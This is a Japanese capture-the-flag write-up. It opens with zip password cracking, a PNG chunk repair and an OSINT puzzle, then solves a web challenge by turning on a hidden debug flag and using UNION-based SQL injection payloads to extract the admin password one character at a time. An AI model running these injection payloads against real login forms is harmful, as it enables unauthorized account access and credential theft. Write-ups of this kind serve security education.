Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
violin           (song_of_my_people.zip/Ice Cube - Check Yo Self Remix (Clean).mp3)
1g 0:00:01:22 DONE (2019-07-25 22:16) 0.01209g/s 49.52p/s 49.52c/s 49.52C/s slimshady..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed

7zipを使ってこのパスワードで解凍する。展開された a lengthy issue.png が開けない。PLTEチャンクのサイズがおかしいので、00 00 01 c5に修正したら、PNGファイルが開けた。
f:id:satou-y:20190911213826p:plain
画像には以下のことなどが書いてある。

https://soundcloud.com/lil-redacted/live-concert-audio

{(how many)_thousand_spaces_(page number)}

https://soundcloud.com/lil-redacted/live-concert-audioにアクセスすると、以下のように書いてある。

this concert is part of a larger tour that is archived completely in some kind of hexagonal library. The archive is named between "maybe" and a "repeat". Should be on the 371st page.

これを元にフラグを導き出す。how_manyの部分はわからなかったので、ブルートフォース

{3_thousand_spaces_371}

Philips And Over (Web Exploitation 900)

[Sign In]から[Forgot your password?]をクリックして、Forgot Your Passwordの画面に遷移する。HTMLソースを見ると、debugの値が0になっている。FiddlerでRequestを投げる前に、debugの値を1に変える。

■username=nora&answer=neco&debug=1
username: nora
answer: neco
SQL query: SELECT password, answer FROM users WHERE username='nora'
User does not exist.

■username=admin&answer=nora&debug=1
username: admin
answer: nora
SQL query: SELECT password, answer FROM users WHERE username='admin'
Your answer to the security question is not correct. We have sent admin an email to notify this incident.

SQL Injectionができそう。

Username: ' union select 'sdasda', 'nora
Security Question: nora
→Your password is s.

パスワード(selectした1つ目のフィールド)は先頭1文字しか表示されない。adminのパスワードを少しずつ切り出していく。

Username: ' union select substr(password, 1, 1), 'nora' from users where username='admin
Security Question: nora
Your password is 1.

Username: ' union select substr(password, 2, 1), 'nora' from users where username='admin
Security Question: nora
Your password is 7.

Username: ' union select substr(password, 3, 1), 'nora' from users where username='admin
Security Question: nora
Your password is 4.

Username: ' union select substr(password, 4, 1), 'nora' from users where username='admin
Security Question: nora
Your password is 2.

Username: ' union select substr(password, 5, 1), 'nora' from users where username='admin
Security Question: nora
Your password is 8.

Username: ' union select substr(password, 6, 1), 'nora' from users where username='admin
Security Question: nora
Your password is 7.

Username: ' union select substr(password, 7, 1), 'nora' from users where username='admin
Security Question: nora
Your password is 9.

Username: ' union select substr(password, 8, 1), 'nora' from users where username='admin
Security Question: nora
Your password is 1.

Username: ' union select substr(password, 9, 1), 'nora' from users where username='admin
Security Question: nora
Your password is .

adminのパスワードは17428791。admin / 17428791 でログインしたら、フラグが表示された。

Welcome admin!
Flag flag{peactf_E_>_A_619a3757c9da0049926aa13500e860bd}!
flag{peactf_E_>_A_619a3757c9da0049926aa13500e860bd}